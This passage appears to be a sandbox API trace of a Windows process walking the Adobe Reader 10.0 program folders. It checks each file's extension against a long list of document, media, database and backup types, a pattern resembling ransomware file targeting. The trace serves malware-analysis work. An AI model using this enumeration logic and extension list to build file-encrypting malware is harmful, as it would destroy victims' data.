ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624400 [0273.420] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.420] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0273.421] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6244c0 [0273.583] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.583] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0273.584] FindClose (in: hFindFile=0x6244c0 | out: hFindFile=0x6244c0) returned 1 [0273.584] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0273.584] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0273.585] FindClose (in: hFindFile=0x624400 | out: hFindFile=0x624400) returned 1 [0273.585] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a3f98 | out: hHeap=0x590000) returned 1 [0273.585] FindNextFileW (in: hFindFile=0x6241c0, lpFindFileData=0x38ef310 | out: lpFindFileData=0x38ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0275.912] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.063] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Bold.otf", cAlternateFileName="ADOBEA~2.OTF")) returned 1 [0276.312] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Bold.otf", cAlternateFileName="ADOBET~1.OTF")) returned 1 [0276.312] lstrlenW (lpString="AdobeThai-Bold.otf") returned 18 [0276.312] lstrlenW (lpString=".1cd") returned 4 [0276.312] lstrcmpiW (lpString1=".1cd", lpString2=".otf") returned -1 [0276.312] lstrlenW (lpString=".3ds") returned 4 [0276.312] lstrcmpiW (lpString1=".3ds", lpString2=".otf") returned -1 [0276.312] lstrlenW (lpString=".3fr") returned 4 [0276.312] lstrcmpiW (lpString1=".3fr", lpString2=".otf") returned -1 [0276.313] lstrlenW (lpString=".3g2") returned 4 [0276.313] lstrcmpiW (lpString1=".3g2", lpString2=".otf") returned -1 [0276.313] lstrlenW (lpString=".3gp") returned 4 [0276.313] lstrcmpiW (lpString1=".3gp", lpString2=".otf") returned -1 [0276.313] lstrlenW (lpString=".7z") returned 3 [0276.313] lstrcmpiW (lpString1=".7z", lpString2="otf") returned -1 [0276.313] lstrlenW (lpString=".accda") returned 6 [0276.313] lstrcmpiW (lpString1=".accda", lpString2="ld.otf") returned -1 [0276.313] lstrlenW (lpString=".accdb") returned 6 [0276.313] lstrcmpiW (lpString1=".accdb", lpString2="ld.otf") returned -1 [0276.313] lstrlenW (lpString=".accdc") returned 6 [0276.313] lstrcmpiW (lpString1=".accdc", lpString2="ld.otf") returned -1 [0276.313] lstrlenW (lpString=".accde") returned 6 [0276.313] lstrcmpiW (lpString1=".accde", lpString2="ld.otf") returned -1 [0276.314] lstrlenW (lpString=".accdt") returned 6 [0276.314] lstrcmpiW (lpString1=".accdt", lpString2="ld.otf") returned -1 [0276.314] lstrlenW (lpString=".accdw") returned 6 [0276.314] lstrcmpiW (lpString1=".accdw", lpString2="ld.otf") returned -1 [0276.314] lstrlenW (lpString=".adb") returned 4 [0276.314] lstrcmpiW (lpString1=".adb", lpString2=".otf") returned -1 [0276.314] lstrlenW (lpString=".adp") returned 4 [0276.314] lstrcmpiW (lpString1=".adp", lpString2=".otf") returned -1 [0276.314] lstrlenW (lpString=".ai") returned 3 [0276.314] lstrcmpiW (lpString1=".ai", lpString2="otf") returned -1 [0276.314] lstrlenW (lpString=".ai3") returned 4 [0276.314] lstrcmpiW (lpString1=".ai3", lpString2=".otf") returned -1 [0276.314] lstrlenW (lpString=".ai4") returned 4 [0276.314] lstrcmpiW (lpString1=".ai4", lpString2=".otf") returned -1 [0276.315] lstrlenW (lpString=".ai5") returned 4 [0276.315] lstrcmpiW (lpString1=".ai5", lpString2=".otf") returned -1 [0276.315] lstrlenW (lpString=".ai6") returned 4 [0276.315] lstrcmpiW (lpString1=".ai6", lpString2=".otf") returned -1 [0276.315] lstrlenW (lpString=".ai7") returned 4 [0276.315] lstrcmpiW (lpString1=".ai7", lpString2=".otf") returned -1 [0276.315] lstrlenW (lpString=".ai8") returned 4 [0276.315] lstrcmpiW (lpString1=".ai8", lpString2=".otf") returned -1 [0276.315] lstrlenW (lpString=".anim") returned 5 [0276.315] lstrcmpiW (lpString1=".anim", lpString2="d.otf") returned -1 [0276.315] lstrlenW (lpString=".arw") returned 4 [0276.315] lstrcmpiW (lpString1=".arw", lpString2=".otf") returned -1 [0276.315] lstrlenW (lpString=".as") returned 3 [0276.315] lstrcmpiW (lpString1=".as", lpString2="otf") returned -1 [0276.315] lstrlenW (lpString=".asa") returned 4 [0276.316] lstrcmpiW (lpString1=".asa", lpString2=".otf") returned -1 [0276.316] lstrlenW (lpString=".asc") returned 4 [0276.316] lstrcmpiW (lpString1=".asc", lpString2=".otf") returned -1 [0276.316] lstrlenW (lpString=".ascx") returned 5 [0276.316] lstrcmpiW (lpString1=".ascx", lpString2="d.otf") returned -1 [0276.316] lstrlenW (lpString=".asm") returned 4 [0276.316] lstrcmpiW (lpString1=".asm", lpString2=".otf") returned -1 [0276.316] lstrlenW (lpString=".asmx") returned 5 [0276.316] lstrcmpiW (lpString1=".asmx", lpString2="d.otf") returned -1 [0276.316] lstrlenW (lpString=".asp") returned 4 [0276.316] lstrcmpiW (lpString1=".asp", lpString2=".otf") returned -1 [0276.316] lstrlenW (lpString=".aspx") returned 5 [0276.317] lstrcmpiW (lpString1=".aspx", lpString2="d.otf") returned -1 [0276.317] lstrlenW (lpString=".asr") returned 4 [0276.317] lstrcmpiW (lpString1=".asr", lpString2=".otf") returned -1 [0276.317] lstrlenW (lpString=".asx") returned 4 [0276.317] lstrcmpiW (lpString1=".asx", lpString2=".otf") returned -1 [0276.318] lstrlenW (lpString=".avi") returned 4 [0276.318] lstrcmpiW (lpString1=".avi", lpString2=".otf") returned -1 [0276.318] lstrlenW (lpString=".avs") returned 4 [0276.318] lstrcmpiW (lpString1=".avs", lpString2=".otf") returned -1 [0276.318] lstrlenW (lpString=".backup") returned 7 [0276.318] lstrcmpiW (lpString1=".backup", lpString2="old.otf") returned -1 [0276.318] lstrlenW (lpString=".bak") returned 4 [0276.318] lstrcmpiW (lpString1=".bak", lpString2=".otf") returned -1 [0276.318] lstrlenW (lpString=".bay") returned 4 [0276.318] lstrcmpiW (lpString1=".bay", lpString2=".otf") returned -1 [0276.318] lstrlenW (lpString=".bd") returned 3 [0276.318] lstrcmpiW (lpString1=".bd", lpString2="otf") returned -1 [0276.318] lstrlenW (lpString=".bin") returned 4 [0276.319] lstrcmpiW (lpString1=".bin", lpString2=".otf") returned -1 [0276.319] lstrlenW (lpString=".bmp") returned 4 [0276.319] lstrcmpiW (lpString1=".bmp", lpString2=".otf") returned -1 [0276.319] lstrlenW (lpString=".bz2") returned 4 [0276.319] lstrcmpiW (lpString1=".bz2", lpString2=".otf") returned -1 [0276.319] lstrlenW (lpString=".c") returned 2 [0276.319] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0276.319] lstrlenW (lpString=".cdr") returned 4 [0276.319] lstrcmpiW (lpString1=".cdr", lpString2=".otf") returned -1 [0276.319] lstrlenW (lpString=".cer") returned 4 [0276.320] lstrcmpiW (lpString1=".cer", lpString2=".otf") returned -1 [0276.320] lstrlenW (lpString=".cf") returned 3 [0276.320] lstrcmpiW (lpString1=".cf", lpString2="otf") returned -1 [0276.320] lstrlenW (lpString=".cfc") returned 4 [0276.320] lstrcmpiW (lpString1=".cfc", lpString2=".otf") returned -1 [0276.320] lstrlenW (lpString=".cfm") returned 4 [0276.320] lstrcmpiW (lpString1=".cfm", lpString2=".otf") returned -1 [0276.320] lstrlenW (lpString=".cfml") returned 5 [0276.320] lstrcmpiW (lpString1=".cfml", lpString2="d.otf") returned -1 [0276.320] lstrlenW (lpString=".cfu") returned 4 [0276.320] lstrcmpiW (lpString1=".cfu", lpString2=".otf") returned -1 [0276.320] lstrlenW (lpString=".chm") returned 4 [0276.320] lstrcmpiW (lpString1=".chm", lpString2=".otf") returned -1 [0276.321] lstrlenW (lpString=".cin") returned 4 [0276.321] lstrcmpiW (lpString1=".cin", lpString2=".otf") returned -1 [0276.321] lstrlenW (lpString=".class") returned 6 [0276.321] lstrcmpiW (lpString1=".class", lpString2="ld.otf") returned -1 [0276.321] lstrlenW (lpString=".clx") returned 4 [0276.321] lstrcmpiW (lpString1=".clx", lpString2=".otf") returned -1 [0276.321] lstrlenW (lpString=".config") returned 7 [0276.321] lstrcmpiW (lpString1=".config", lpString2="old.otf") returned -1 [0276.321] lstrlenW (lpString=".cpp") returned 4 [0276.321] lstrcmpiW (lpString1=".cpp", lpString2=".otf") returned -1 [0276.321] lstrlenW (lpString=".cr2") returned 4 [0276.321] lstrcmpiW (lpString1=".cr2", lpString2=".otf") returned -1 [0276.321] lstrlenW (lpString=".crt") returned 4 [0276.322] lstrcmpiW (lpString1=".crt", lpString2=".otf") returned -1 [0276.322] lstrlenW (lpString=".crw") returned 4 [0276.322] lstrcmpiW (lpString1=".crw", lpString2=".otf") returned -1 [0276.322] lstrlenW (lpString=".cs") returned 3 [0276.322] lstrcmpiW (lpString1=".cs", lpString2="otf") returned -1 [0276.322] lstrlenW (lpString=".css") returned 4 [0276.322] lstrcmpiW (lpString1=".css", lpString2=".otf") returned -1 [0276.322] lstrlenW (lpString=".csv") returned 4 [0276.322] lstrcmpiW (lpString1=".csv", lpString2=".otf") returned -1 [0276.322] lstrlenW (lpString=".cub") returned 4 [0276.322] lstrcmpiW (lpString1=".cub", lpString2=".otf") returned -1 [0276.322] lstrlenW (lpString=".dae") returned 4 [0276.322] lstrcmpiW (lpString1=".dae", lpString2=".otf") returned -1 [0276.322] lstrlenW (lpString=".dat") returned 4 [0276.322] lstrcmpiW (lpString1=".dat", lpString2=".otf") returned -1 [0276.322] lstrlenW (lpString=".db") returned 3 [0276.323] lstrcmpiW (lpString1=".db", lpString2="otf") returned -1 [0276.323] lstrlenW (lpString=".dbf") returned 4 [0276.323] lstrcmpiW (lpString1=".dbf", lpString2=".otf") returned -1 [0276.323] lstrlenW (lpString=".dbx") returned 4 [0276.323] lstrcmpiW (lpString1=".dbx", lpString2=".otf") returned -1 [0276.323] lstrlenW (lpString=".dc3") returned 4 [0276.323] lstrcmpiW (lpString1=".dc3", lpString2=".otf") returned -1 [0276.323] lstrlenW (lpString=".dcm") returned 4 [0276.323] lstrcmpiW (lpString1=".dcm", lpString2=".otf") returned -1 [0276.323] lstrlenW (lpString=".dcr") returned 4 [0276.323] lstrcmpiW (lpString1=".dcr", lpString2=".otf") returned -1 [0276.324] lstrlenW (lpString=".der") returned 4 [0276.324] lstrcmpiW (lpString1=".der", lpString2=".otf") returned -1 [0276.324] lstrlenW (lpString=".dib") returned 4 [0276.324] lstrcmpiW (lpString1=".dib", lpString2=".otf") returned -1 [0276.324] lstrlenW (lpString=".dic") returned 4 [0276.324] lstrcmpiW (lpString1=".dic", lpString2=".otf") returned -1 [0276.324] lstrlenW (lpString=".dif") returned 4 [0276.324] lstrcmpiW (lpString1=".dif", lpString2=".otf") returned -1 [0276.324] lstrlenW (lpString=".divx") returned 5 [0276.324] lstrcmpiW (lpString1=".divx", lpString2="d.otf") returned -1 [0276.324] lstrlenW (lpString=".djvu") returned 5 [0276.324] lstrcmpiW (lpString1=".djvu", lpString2="d.otf") returned -1 [0276.325] lstrlenW (lpString=".dng") returned 4 [0276.325] lstrcmpiW (lpString1=".dng", lpString2=".otf") returned -1 [0276.325] lstrlenW (lpString=".doc") returned 4 [0276.325] lstrcmpiW (lpString1=".doc", lpString2=".otf") returned -1 [0276.325] lstrlenW (lpString=".docm") returned 5 [0276.325] lstrcmpiW (lpString1=".docm", lpString2="d.otf") returned -1 [0276.325] lstrlenW (lpString=".docx") returned 5 [0276.325] lstrcmpiW (lpString1=".docx", lpString2="d.otf") returned -1 [0276.325] lstrlenW (lpString=".dot") returned 4 [0276.325] lstrcmpiW (lpString1=".dot", lpString2=".otf") returned -1 [0276.325] lstrlenW (lpString=".dotm") returned 5 [0276.325] lstrcmpiW (lpString1=".dotm", lpString2="d.otf") returned -1 [0276.325] lstrlenW (lpString=".dotx") returned 5 [0276.325] lstrcmpiW (lpString1=".dotx", lpString2="d.otf") returned -1 [0276.326] lstrlenW (lpString=".dpx") returned 4 [0276.326] lstrcmpiW (lpString1=".dpx", lpString2=".otf") returned -1 [0276.326] lstrlenW (lpString=".dqy") returned 4 [0276.326] lstrcmpiW (lpString1=".dqy", lpString2=".otf") returned -1 [0276.326] lstrlenW (lpString=".dsn") returned 4 [0276.326] lstrcmpiW (lpString1=".dsn", lpString2=".otf") returned -1 [0276.326] lstrlenW (lpString=".dt") returned 3 [0276.326] lstrcmpiW (lpString1=".dt", lpString2="otf") returned -1 [0276.326] lstrlenW (lpString=".dtd") returned 4 [0276.326] lstrcmpiW (lpString1=".dtd", lpString2=".otf") returned -1 [0276.326] lstrlenW (lpString=".dwg") returned 4 [0276.326] lstrcmpiW (lpString1=".dwg", lpString2=".otf") returned -1 [0276.326] lstrlenW (lpString=".dwt") returned 4 [0276.327] lstrcmpiW (lpString1=".dwt", lpString2=".otf") returned -1 [0276.327] lstrlenW (lpString=".dx") returned 3 [0276.327] lstrcmpiW (lpString1=".dx", lpString2="otf") returned -1 [0276.327] lstrlenW (lpString=".dxf") returned 4 [0276.327] lstrcmpiW (lpString1=".dxf", lpString2=".otf") returned -1 [0276.327] lstrlenW (lpString=".edml") returned 5 [0276.327] lstrcmpiW (lpString1=".edml", lpString2="d.otf") returned -1 [0276.327] lstrlenW (lpString=".efd") returned 4 [0276.327] lstrcmpiW (lpString1=".efd", lpString2=".otf") returned -1 [0276.327] lstrlenW (lpString=".elf") returned 4 [0276.327] lstrcmpiW (lpString1=".elf", lpString2=".otf") returned -1 [0276.327] lstrlenW (lpString=".emf") returned 4 [0276.327] lstrcmpiW (lpString1=".emf", lpString2=".otf") returned -1 [0276.327] lstrlenW (lpString=".emz") returned 4 [0276.327] lstrcmpiW (lpString1=".emz", lpString2=".otf") returned -1 [0276.328] lstrlenW (lpString=".epf") returned 4 [0276.328] lstrcmpiW (lpString1=".epf", lpString2=".otf") returned -1 [0276.328] lstrlenW (lpString=".eps") returned 4 [0276.328] lstrcmpiW (lpString1=".eps", lpString2=".otf") returned -1 [0276.328] lstrlenW (lpString=".epsf") returned 5 [0276.328] lstrcmpiW (lpString1=".epsf", lpString2="d.otf") returned -1 [0276.328] lstrlenW (lpString=".epsp") returned 5 [0276.328] lstrcmpiW (lpString1=".epsp", lpString2="d.otf") returned -1 [0276.328] lstrlenW (lpString=".erf") returned 4 [0276.328] lstrcmpiW (lpString1=".erf", lpString2=".otf") returned -1 [0276.328] lstrlenW (lpString=".exr") returned 4 [0276.328] lstrcmpiW (lpString1=".exr", lpString2=".otf") returned -1 [0276.328] lstrlenW (lpString=".f4v") returned 4 [0276.329] lstrcmpiW (lpString1=".f4v", lpString2=".otf") returned -1 [0276.329] lstrlenW (lpString=".fido") returned 5 [0276.329] lstrcmpiW (lpString1=".fido", lpString2="d.otf") returned -1 [0276.329] lstrlenW (lpString=".flm") returned 4 [0276.329] lstrcmpiW (lpString1=".flm", lpString2=".otf") returned -1 [0276.329] lstrlenW (lpString=".flv") returned 4 [0276.329] lstrcmpiW (lpString1=".flv", lpString2=".otf") returned -1 [0276.329] lstrlenW (lpString=".frm") returned 4 [0276.329] lstrcmpiW (lpString1=".frm", lpString2=".otf") returned -1 [0276.329] lstrlenW (lpString=".fxg") returned 4 [0276.329] lstrcmpiW (lpString1=".fxg", lpString2=".otf") returned -1 [0276.329] lstrlenW (lpString=".geo") returned 4 [0276.330] lstrcmpiW (lpString1=".geo", lpString2=".otf") returned -1 [0276.330] lstrlenW (lpString=".gif") returned 4 [0276.330] lstrcmpiW (lpString1=".gif", lpString2=".otf") returned -1 [0276.330] lstrlenW (lpString=".grs") returned 4 [0276.330] lstrcmpiW (lpString1=".grs", lpString2=".otf") returned -1 [0276.330] lstrlenW (lpString=".gz") returned 3 [0276.330] lstrcmpiW (lpString1=".gz", lpString2="otf") returned -1 [0276.330] lstrlenW (lpString=".h") returned 2 [0276.330] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0276.330] lstrlenW (lpString=".hdr") returned 4 [0276.330] lstrcmpiW (lpString1=".hdr", lpString2=".otf") returned -1 [0276.330] lstrlenW (lpString=".hpp") returned 4 [0276.330] lstrcmpiW (lpString1=".hpp", lpString2=".otf") returned -1 [0276.330] lstrlenW (lpString=".hta") returned 4 [0276.331] lstrcmpiW (lpString1=".hta", lpString2=".otf") returned -1 [0276.331] lstrlenW (lpString=".htc") returned 4 [0276.331] lstrcmpiW (lpString1=".htc", lpString2=".otf") returned -1 [0276.331] lstrlenW (lpString=".htm") returned 4 [0276.331] lstrcmpiW (lpString1=".htm", lpString2=".otf") returned -1 [0276.331] lstrlenW (lpString=".html") returned 5 [0276.331] lstrcmpiW (lpString1=".html", lpString2="d.otf") returned -1 [0276.331] lstrlenW (lpString=".icb") returned 4 [0276.331] lstrcmpiW (lpString1=".icb", lpString2=".otf") returned -1 [0276.331] lstrlenW (lpString=".ics") returned 4 [0276.331] lstrcmpiW (lpString1=".ics", lpString2=".otf") returned -1 [0276.331] lstrlenW (lpString=".iff") returned 4 [0276.332] lstrcmpiW (lpString1=".iff", lpString2=".otf") returned -1 [0276.332] lstrlenW (lpString=".inc") returned 4 [0276.332] lstrcmpiW (lpString1=".inc", lpString2=".otf") returned -1 [0276.332] lstrlenW (lpString=".indd") returned 5 [0276.332] lstrcmpiW (lpString1=".indd", lpString2="d.otf") returned -1 [0276.332] lstrlenW (lpString=".ini") returned 4 [0276.332] lstrcmpiW (lpString1=".ini", lpString2=".otf") returned -1 [0276.744] lstrlenW (lpString=".iqy") returned 4 [0276.744] lstrcmpiW (lpString1=".iqy", lpString2=".otf") returned -1 [0276.744] lstrlenW (lpString=".j2c") returned 4 [0276.744] lstrcmpiW (lpString1=".j2c", lpString2=".otf") returned -1 [0276.744] lstrlenW (lpString=".j2k") returned 4 [0276.744] lstrcmpiW (lpString1=".j2k", lpString2=".otf") returned -1 [0276.744] lstrlenW (lpString=".java") returned 5 [0276.744] lstrcmpiW (lpString1=".java", lpString2="d.otf") returned -1 [0276.744] lstrlenW (lpString=".jp2") returned 4 [0276.744] lstrcmpiW (lpString1=".jp2", lpString2=".otf") returned -1 [0276.744] lstrlenW (lpString=".jpc") returned 4 [0276.744] lstrcmpiW (lpString1=".jpc", lpString2=".otf") returned -1 [0276.745] lstrlenW (lpString=".jpe") returned 4 [0276.745] lstrcmpiW (lpString1=".jpe", lpString2=".otf") returned -1 [0276.745] lstrlenW (lpString=".jpeg") returned 5 [0276.745] lstrcmpiW (lpString1=".jpeg", lpString2="d.otf") returned -1 [0276.745] lstrlenW (lpString=".jpf") returned 4 [0276.745] lstrcmpiW (lpString1=".jpf", lpString2=".otf") returned -1 [0276.745] lstrlenW (lpString=".jpg") returned 4 [0276.745] lstrcmpiW (lpString1=".jpg", lpString2=".otf") returned -1 [0276.745] lstrlenW (lpString=".jpx") returned 4 [0276.745] lstrcmpiW (lpString1=".jpx", lpString2=".otf") returned -1 [0276.745] lstrlenW (lpString=".js") returned 3 [0276.745] lstrcmpiW (lpString1=".js", lpString2="otf") returned -1 [0276.745] lstrlenW (lpString=".jsf") returned 4 [0276.745] lstrcmpiW (lpString1=".jsf", lpString2=".otf") returned -1 [0276.746] lstrlenW (lpString=".json") returned 5 [0276.746] lstrcmpiW (lpString1=".json", lpString2="d.otf") returned -1 [0276.746] lstrlenW (lpString=".jsp") returned 4 [0276.746] lstrcmpiW (lpString1=".jsp", lpString2=".otf") returned -1 [0276.746] lstrlenW (lpString=".kdc") returned 4 [0276.746] lstrcmpiW (lpString1=".kdc", lpString2=".otf") returned -1 [0276.746] lstrlenW (lpString=".kmz") returned 4 [0276.746] lstrcmpiW (lpString1=".kmz", lpString2=".otf") returned -1 [0276.746] lstrlenW (lpString=".kwm") returned 4 [0276.746] lstrcmpiW (lpString1=".kwm", lpString2=".otf") returned -1 [0276.746] lstrlenW (lpString=".lasso") returned 6 [0276.746] lstrcmpiW (lpString1=".lasso", lpString2="ld.otf") returned -1 [0276.746] lstrlenW (lpString=".lbi") returned 4 [0276.746] lstrcmpiW (lpString1=".lbi", lpString2=".otf") returned -1 [0276.747] lstrlenW (lpString=".lgf") returned 4 [0276.747] lstrcmpiW (lpString1=".lgf", lpString2=".otf") returned -1 [0276.747] lstrlenW (lpString=".lgp") returned 4 [0276.747] lstrcmpiW (lpString1=".lgp", lpString2=".otf") returned -1 [0276.747] lstrlenW (lpString=".log") returned 4 [0276.747] lstrcmpiW (lpString1=".log", lpString2=".otf") returned -1 [0276.747] lstrlenW (lpString=".m1v") returned 4 [0276.747] lstrcmpiW (lpString1=".m1v", lpString2=".otf") returned -1 [0276.747] lstrlenW (lpString=".m4a") returned 4 [0276.747] lstrcmpiW (lpString1=".m4a", lpString2=".otf") returned -1 [0276.747] lstrlenW (lpString=".m4v") returned 4 [0276.747] lstrcmpiW (lpString1=".m4v", lpString2=".otf") returned -1 [0276.747] lstrlenW (lpString=".max") returned 4 [0276.747] lstrcmpiW (lpString1=".max", lpString2=".otf") returned -1 [0276.748] lstrlenW (lpString=".md") returned 3 [0276.748] lstrcmpiW (lpString1=".md", lpString2="otf") returned -1 [0276.748] lstrlenW (lpString=".mda") returned 4 [0276.748] lstrcmpiW (lpString1=".mda", lpString2=".otf") returned -1 [0276.748] lstrlenW (lpString=".mdb") returned 4 [0276.748] lstrcmpiW (lpString1=".mdb", lpString2=".otf") returned -1 [0276.748] lstrlenW (lpString=".mde") returned 4 [0276.748] lstrcmpiW (lpString1=".mde", lpString2=".otf") returned -1 [0276.748] lstrlenW (lpString=".mdf") returned 4 [0276.748] lstrcmpiW (lpString1=".mdf", lpString2=".otf") returned -1 [0276.748] lstrlenW (lpString=".mdw") returned 4 [0276.748] lstrcmpiW (lpString1=".mdw", lpString2=".otf") returned -1 [0276.748] lstrlenW (lpString=".mef") returned 4 [0276.748] lstrcmpiW (lpString1=".mef", lpString2=".otf") returned -1 [0276.748] lstrlenW (lpString=".mft") returned 4 [0276.749] lstrcmpiW (lpString1=".mft", lpString2=".otf") returned -1 [0276.749] lstrlenW (lpString=".mfw") returned 4 [0276.749] lstrcmpiW (lpString1=".mfw", lpString2=".otf") returned -1 [0276.749] lstrlenW (lpString=".mht") returned 4 [0276.749] lstrcmpiW (lpString1=".mht", lpString2=".otf") returned -1 [0276.749] lstrlenW (lpString=".mhtml") returned 6 [0276.749] lstrcmpiW (lpString1=".mhtml", lpString2="ld.otf") returned -1 [0276.749] lstrlenW (lpString=".mka") returned 4 [0276.749] lstrcmpiW (lpString1=".mka", lpString2=".otf") returned -1 [0276.749] lstrlenW (lpString=".mkidx") returned 6 [0276.749] lstrcmpiW (lpString1=".mkidx", lpString2="ld.otf") returned -1 [0276.749] lstrlenW (lpString=".mkv") returned 4 [0276.749] lstrcmpiW (lpString1=".mkv", lpString2=".otf") returned -1 [0276.749] lstrlenW (lpString=".mos") returned 4 [0276.750] lstrcmpiW (lpString1=".mos", lpString2=".otf") returned -1 [0276.750] lstrlenW (lpString=".mov") returned 4 [0276.750] lstrcmpiW (lpString1=".mov", lpString2=".otf") returned -1 [0276.750] lstrlenW (lpString=".mp3") returned 4 [0276.750] lstrcmpiW (lpString1=".mp3", lpString2=".otf") returned -1 [0276.750] lstrlenW (lpString=".mp4") returned 4 [0276.750] lstrcmpiW (lpString1=".mp4", lpString2=".otf") returned -1 [0276.750] lstrlenW (lpString=".mpeg") returned 5 [0276.750] lstrcmpiW (lpString1=".mpeg", lpString2="d.otf") returned -1 [0276.750] lstrlenW (lpString=".mpg") returned 4 [0276.750] lstrcmpiW 